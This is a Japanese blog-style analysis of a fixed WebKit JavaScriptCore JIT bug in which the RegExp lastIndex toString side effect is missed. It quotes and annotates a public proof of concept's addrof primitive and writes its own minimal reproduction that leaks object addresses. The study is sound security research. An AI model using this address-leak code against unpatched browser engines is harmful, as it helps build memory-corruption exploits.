https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html で Exploit 7 として紹介されている脆弱性について調べた。
PoC が公開されているのと Web に解説もあるので、取っ掛かりやすかろうということで。

これはどういうバグかというと、PoC の The Bug に書かれている通りで、RegEx のマッチング処理が JIT 最適化された際に、 lastIndex プロパティに object を設定することでメモリリークを引き起こし、最終的に任意コード実行が可能というもの。

前回の記事で JIT を利用した攻撃と防御方法について書いたが、これが実際にどういったものなのかを見ていく。


準備

脆弱性の issue tracker は https://bugs.webkit.org/show_bug.cgi?id=191731 っぽい。
パッチは https://trac.webkit.org/changeset/238267/webkit で、git だと https://github.com/WebKit/webkit/commit/7cf9d2911af9f255e0301ea16604c9fa4af340e2 になる。
親の comit は 3af5ce129e6636350a887d01237a65c2fce77823 なので、これに checkout しておく。

PoC を読む

pwn.js を読んでいく。WASM Object を使ってメモリの読み書きをしているが、メモリリークしているのは addrof() であることがわかる。

// Need to wrap addrof in this wrapper because it sometimes fails (don't know why, but this works)
function addrof(val) {
    for (var i = 0; i < 100; i++) {
        var result = addrofInternal(val);
        if (typeof result != "object" && result !== 13.37){
            return result;
        }
    }
    
    print("[-] Addrof didn't work. Prepare for WebContent to crash or other strange stuff to happen...");
    throw "See above";
}

コメントにもあるが、 addrofInternal() の wrapper のよう。
addrofInternal() は次のようになっている。後で細かく説明を入れるのも面倒なので、処理内容等についてコメントを入れた。

function addrofInternal(val) {
    // 1. この array[0] は double であるが、最終的に val のポインタになる
    var array = [13.37];
    // 2. RegExp の y フラグで lastIndex の場所からマッチするようになる
    // https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky
    // regex の最適化オプションが原因の脆弱性なのでここは重要
    var reg = /abc/y;
    
    function getarray() {
        return array;
    }
    
    // Target function
    var AddrGetter = function(array) {
        // 実際には何もしないのでたぶん JIT の最適化目的のコード。消してもいい
        for (var i = 2; i < array.length; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        
        array = getarray();
        // 3. これは "abc".match(reg) と同じ。
        reg[Symbol.match](val === null);
        // 4. ここで val のポインタが返ってしまうことになる
        return array[0];
    }
    
    // Force optimization
    // 5. JIT で最適化を行うために複数回繰り返す
    for (var i = 0; i < 100000; ++i)
        AddrGetter(array);
    
    // Setup haxx
    // 6. {}.toString() で array[0] が val になる
    //    つまり、ここがキモ。
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = val;
        return "0";
    };
    // 7. lastIndex が {} になる。
    reg.lastIndex = regexLastIndex;
    
    // Do it!
    return AddrGetter(array);
}

ざっとこんな感じだけど、まぁ分からないので動かす。
上記コードを呼び出すために次のようなコードを書き足して実行する。

object = {}
print(describe(object))
print(addrof(object))

実行結果は次のようになる。

❯ ./WebKitBuild/Debug/bin/jsc /tmp/test.js
Object: 0x111cb0080 with butterfly 0x0 (Structure 0x111cf20d0:[Object, {}, NonArray, Proto:0x111cb4000]), StructureID: 76
2.2694825917e-314

この 2.2694825917e-314 を見ると確かに array[0] は返っていなくて、おかしな値になっているが、これは object のアドレスであることがわかる。

In [1]: import struct

In [2]: a = 2.2694825917e-314

In [3]: hex(struct.unpack("Q", struct.pack("d", a))[0])
Out[3]: '0x111cb0080'

ではどのようにして値が変わり、このアドレスが返ってしまったのか見ていく。

  for (var i = 0; i < 100000; ++i)
    AddrGetter(array);

この部分によって AddrGetter 自体は JIT によって最適化される。100000 回呼び出しているので DFG, FTL で最適化されることになる。
では、実際にどう最適化されるのかを追っていく。

https://webkit.org/blog/6411/javascriptcore-csi-a-crash-site-investigation-story/#Dumps を見ると JSC_dumpSourceAtDFGTime という環境変数をセットすることで DFG / FTL によってコンパイルされたコードを表示することができる。便利!

実行結果は次のようになる。長いので一部省略。

❯ JSC_dumpSourceAtDFGTime=true ./WebKitBuild/Debug/bin/jsc /tmp/test.js
Object: 0x10b5b0080 with butterfly 0x0 (Structure 0x10b5f20d0:[Object, {}, NonArray, Proto:0x10b5b4000]), StructureID: 76

...

// # 👇ここで `AddrGetter` が最適化された
[1] Compiled AddrGetter#EUrzqD:[0x10b550460->0x10b5fd080, BaselineFunctionCall, 46]
'''function AddrGetter(array) {
    reg[Symbol.match]();
    return array[0];
  }'''

// # 👇 Symbol.match が最適化された
// #    補足すると RegExp.match は内部的に Symbol.match を呼び出すので、 RegExp.match でもここが最適化されることになる
[1] Compiled [Symbol.match]#BFrWhl:[0x10ef50690->0x10efb9130, BaselineFunctionCall, 119 (StrictMode)]
'''function [Symbol.match](strArg)
{
    "use strict";

    if (!@isObject(this))
        @throwTypeError("RegExp.prototype.@@match requires that |this| be an Object");

    let str = @toString(strArg);

    // # 👇 副作用のチェック
    // #    副作用がなければ `regExpMatchFast()` が呼ばれる
    if (!@hasObservableSideEffectsForRegExpMatch(this))
        return @regExpMatchFast.@call(this, str);
    return @matchSlow(this, str);
}'''

// # 👇 hasObservableSideEffectsForRegExpMatch も inline 化されて
// #    Symbol.match は常に 「RegExp Object である」と返してしまう [2] Inlined hasObservableSideEffectsForRegExpMatch#DSRdGE:[0x10ef508c0->0x10efbb2e0, BaselineFunctionCall, 106 (StrictMode)] at [Symbol.match]#BFrWhl:[0x10ef50f50->0x10ef50690->0x10efb9130, DFGFunctionCall, 119 (StrictMode)] bc#49 '''function hasObservableSideEffectsForRegExpMatch(regexp)
{
    "use strict";

    //
    let regexpExec = @tryGetById(regexp, "exec");
    if (regexpExec !== @regExpBuiltinExec)
        return true;

    let regexpGlobal = @tryGetById(regexp, "global");
    if (regexpGlobal !== @regExpProtoGlobalGetter)
        return true;
    let regexpUnicode = @tryGetById(regexp, "unicode");
    if (regexpUnicode !== @regExpProtoUnicodeGetter)
        return true;

    return !@isRegExpObject(regexp);
}'''

より詳細に流れを書いてみると…

1. AddrGetter がJIT 化される

for (var i = 0; i < 100000; ++i)
  AddrGetter(array)

また、 RegExp.match も最適化されて副作用チェックがなくなる。

2. lastIndex を object に置き換える

toString() を呼び出すと array[0] = val になる regexLastIndex に置き換えられる。

regexLastIndex = {};

regexLastIndex.toString = function() {
  array[0] = val;
  return "0";
}

reg.lastIndex = regexLastIndex;

ちなみにここは toString() じゃなくても valueOf でも OK.

3. Symol.match によって lastIndex が呼び出される

再度 AddrGetter が呼ばれるが JIT 化されていることに注意。

return AddrGetter(array);

RegExp の y オプションを使用しているため、 lastIndex を知る必要があり、アクセスが生じる。

reg[Symbol.match]();

JIT 化されているので Object としては ArrayWithDouble で返ることを期待するが、実際には object (ArrayWithContiguous) である。

4. toString() が呼び出される

toString() が実行され array[0]val になる。
JSC Object では実際には val のポインタとなる。

という流れで val のアドレスがリークされてしまったというわけだ。

最低限の再現コード

上記の理解を元に PoC を書き直すと次のようになる。
DFG JIT が呼ばれればいいのでループは 10000 回で良い。

let arr = [1.1];
let reg = /abc/y;

function getaddr(arr, reg) {
  "abc".match(reg);
  return arr[0];
}

for (let i = 0; i < 10000; i++)
  getaddr(arr, reg);

object = {};

object.toString = function() {
  arr[0] = object;
  return 0;
}

reg.lastIndex = object;

print(describe(object));
print(getaddr(arr, reg));

// ❯ ./WebKitBuild/Debug/bin/jsc /tmp/test.js
// Object: 0x10bfb0080 with butterfly 0x0 (Structure 0x10bf70380:[Object, {toString:0}, NonArray, Proto:0x10bfb4000, Leaf]), StructureID: 295
// 2.2213025115e-314

// In [1]: import struct
// 
// In [2]: a= 2.2213025115e-314
// 
// In [3]: hex(struct.unpack("Q", struct.pack("d", a))[0])
// Out[3]: '0x10bfb0080'

修正パッチ

typeof regexp.lastIndex !== "number"; が入っている。matchclobberWorld() を入れるより、JIT のパフォーマンス優先で lastIndex !== number を入れた感じなのかなぁ。